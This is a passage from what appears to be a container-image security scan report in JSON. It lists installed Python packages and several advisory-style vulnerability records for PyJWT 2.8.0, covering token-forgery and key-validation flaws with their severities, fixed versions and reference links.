"AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.2.2", "UID": "f93e5b8c438aeaf6" }, "Version": "4.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/platformdirs-4.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psycopg2-binary", "Identifier": { "PURL": "pkg:pypi/psycopg2-binary@2.9.9", "UID": "e0e81fee545a04c3" }, "Version": "2.9.9", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/psycopg2_binary-2.9.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1", "Identifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "2bf0b3fb8ad29704" }, "Version": "0.6.4", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1_modules", "Identifier": { "PURL": "pkg:pypi/pyasn1-modules@0.4.2", "UID": "6a53ddf34da595f0" }, "Version": "0.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyasn1_modules-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycparser", "Identifier": { "PURL": "pkg:pypi/pycparser@3.0", "UID": "d422c076119d05e3" }, "Version": "3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pycparser-3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic", "Identifier": { "PURL": "pkg:pypi/pydantic@2.5.0", "UID": "366e13ab294990be" }, "Version": "2.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pydantic-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic_core", "Identifier": { "PURL": "pkg:pypi/pydantic-core@2.14.1", "UID": "e21bd183fa31cda7" }, "Version": "2.14.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pydantic_core-2.14.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dotenv", "Identifier": { "PURL": "pkg:pypi/python-dotenv@1.2.2", "UID": "2666cdebb36cb1a9" }, "Version": "1.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/python_dotenv-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests", "Identifier": { "PURL": "pkg:pypi/requests@2.34.2", "UID": "ce1642bc91e67c8c" }, "Version": "2.34.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/requests-2.34.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests-oauthlib", "Identifier": { "PURL": "pkg:pypi/requests-oauthlib@2.0.0", "UID": "b6160eac900d0f5b" }, "Version": "2.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/requests_oauthlib-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "segno", "Identifier": { "PURL": "pkg:pypi/segno@1.6.1", "UID": "59f2c4511f6c6ce" }, "Version": "1.6.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/segno-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "setuptools", "Identifier": { "PURL": "pkg:pypi/setuptools@79.0.1", "UID": "a34f48aa76be299c" }, "Version": "79.0.1", "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools-79.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sniffio", "Identifier": { "PURL": "pkg:pypi/sniffio@1.3.1", "UID": "5bd25cd9a1e6f91b" }, "Version": "1.3.1", "Licenses": [ "MIT", "Apache-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/sniffio-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlette", "Identifier": { "PURL": "pkg:pypi/starlette@0.27.0", "UID": "123457caf4be67a4" }, "Version": "0.27.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/starlette-0.27.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli", "Identifier": { "PURL": "pkg:pypi/tomli@2.0.1", "UID": "53abaa0d00072d9e" }, "Version": "2.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/tomli-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typeguard", "Identifier": { "PURL": "pkg:pypi/typeguard@4.3.0", "UID": "f19abdf9377301a1" }, "Version": "4.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typeguard-4.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.12.2", "UID": "4b1f19157aef399d" }, "Version": "4.12.2", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typing_extensions-4.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.16.0", "UID": "14e8a5608945c20e" }, "Version": "4.16.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/typing_extensions-4.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "urllib3", "Identifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "75609a1e2f80ee9c" }, "Version": "2.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/urllib3-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uvicorn", "Identifier": { "PURL": "pkg:pypi/uvicorn@0.24.0", "UID": "6d24711b96a75a4c" }, "Version": "0.24.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/uvicorn-0.24.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uvloop", "Identifier": { "PURL": "pkg:pypi/uvloop@0.22.1", "UID": "5156339e3f16c007" }, "Version": "0.22.1", "Licenses": [ "Apache-2.0", "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/uvloop-0.22.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "watchfiles", "Identifier": { "PURL": "pkg:pypi/watchfiles@1.2.0", "UID": "3daf06f38b269fd5" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/watchfiles-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "websockets", "Identifier": { "PURL": "pkg:pypi/websockets@17.0.1", "UID": "9d3f2db68c0e0e0b" }, "Version": "17.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/websockets-17.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "Version": "0.45.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.46.3", "UID": "28350f0a99874b2b" }, "Version": "0.46.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/wheel-0.46.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zipp", "Identifier": { "PURL": "pkg:pypi/zipp@3.19.2", "UID": "92d9047d0b817060" }, "Version": "3.19.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/zipp-3.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-102268", "VendorIDs": [ "GHSA-ffc3-869f-jxw9" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102268", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:85a31fd313ba37ffcf23b3fee26befa1da294358ff04d9630dbfd7c67ffb4f03", "Title": "pyjwt: PyJWT: Authentication bypass via improper public key validation", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 4, "ghsa": 4, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102268", "https://advisory.echohq.com/cve/CVE-2026-102268", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9", "https://linux.oracle.com/cve/CVE-2026-102268.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102268", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102268" ], "PublishedDate": "2026-09-28T21:17:14.6Z", "LastModifiedDate": "2026-10-07T20:25:03.03Z" }, { "VulnerabilityID": "CVE-2026-102267", "VendorIDs": [ "GHSA-9v7f-9g4p-ffgj" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102267", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e4587fa7e85320ecef4513e521981e180cfe21e8bd7cf325d59f7ef291ffece6", "Title": "pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200", "CWE-345", "CWE-918" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 4, "oracle-oval": 4, "photon": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102267", "https://advisory.echohq.com/cve/CVE-2026-102267", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj", "https://linux.oracle.com/cve/CVE-2026-102267.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102267", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102267" ], "PublishedDate": "2026-09-28T21:17:14.43Z", "LastModifiedDate": "2026-10-07T20:27:45.713Z" }, { "VulnerabilityID": "CVE-2026-102271", "VendorIDs": [ "GHSA-p4g4-x82p-q773" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102271", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3a10c1d394f36debb01facaebf3cb47bd0d1d6e4aa5493c3d685e4cef69bbc33", "Title": "pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets", "Description": "PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 4, "photon": 3, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102271", "https://advisory.echohq.com/cve/CVE-2026-102271", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773", "https://linux.oracle.com/cve/CVE-2026-102271.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102271", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102271" ], "PublishedDate": "2026-09-28T21:17:15.11Z", "LastModifiedDate": "2026-10-06T18:36:16.047Z" }, { "VulnerabilityID": "CVE-2026-32597", "VendorIDs": [ "GHSA-752w-5fwx-jx9f" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.12.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32597", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5d3162417e77381079dd5163d47dd39f2cd8d465ddc2f4fcc201b9745c22df2f", "Title": "pyjwt: PyJWT accepts unknown `crit` header extensions (RFC 7515 §4.1.11 MUST violation)", "Description": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.", "Severity": "HIGH", "CweIDs": [ "CWE-345", "CWE-863", "CWE-347" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "ghsa": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10140", "https://access.redhat.com/errata/RHSA-2026:10141", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:12176", "https://access.redhat.com/errata/RHSA-2026:13508", "https://access.redhat.com/errata/RHSA-2026:13512", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13553", "https://access.redhat.com/errata/RHSA-2026:13672", "https://access.redhat.com/errata/RHSA-2026:13916", "https://access.redhat.com/errata/RHSA-2026:17083", "https://access.redhat.com/errata/RHSA-2026:19138", "https://access.redhat.com/errata/RHSA-2026:19355", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:21431", "https://access.redhat.com/errata/RHSA-2026:21517", "https://access.redhat.com/errata/RHSA-2026:22330", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:26226", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:6568", "https://access.redhat.com/errata/RHSA-2026:6720", "https://access.redhat.com/errata/RHSA-2026:6912", "https://access.redhat.com/errata/RHSA-2026:6926", "https://access.redhat.com/errata/RHSA-2026:8437", "https://access.redhat.com/errata/RHSA-2026:8746", "https://access.redhat.com/errata/RHSA-2026:8747", "https://access.redhat.com/errata/RHSA-2026:8748", "https://access.redhat.com/errata/RHSA-2026:93440", "https://access.redhat.com/security/cve/CVE-2026-32597", "https://advisory.echohq.com/cve/CVE-2026-32597", "https://bugzilla.redhat.com/2447194", "https://bugzilla.redhat.com/show_bug.cgi?id=2438762", "https://bugzilla.redhat.com/show_bug.cgi?id=2447194", "https://bugzilla.redhat.com/show_bug.cgi?id=2448553", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32597", "https://errata.almalinux.org/8/ALSA-2026-93440.html", "https://errata.rockylinux.org/RLSA-2026:19355", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f", "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-120.yaml", "https://linux.oracle.com/cve/CVE-2026-32597.html", "https://linux.oracle.com/errata/ELSA-2026-93440.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32597", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32597.json", "https://ubuntu.com/security/notices/USN-8133-1", "https://www.cve.org/CVERecord?id=CVE-2026-32597" ], "PublishedDate": "2026-03-13T19:55:09.5Z", "LastModifiedDate": "2026-09-10T13:18:12.027Z" }, { "VulnerabilityID": "CVE-2026-48526", "VendorIDs": [ "GHSA-xgmm-8j9v-c9wx" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.13.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48526", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a37891a45de7078253a9f4678e3c3952a8c57542a49b5874a61b4be5ceb8f720", "Title": "python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens", "Description": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.", "Severity": "HIGH", "CweIDs": [ "CWE-287", "CWE-347" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ 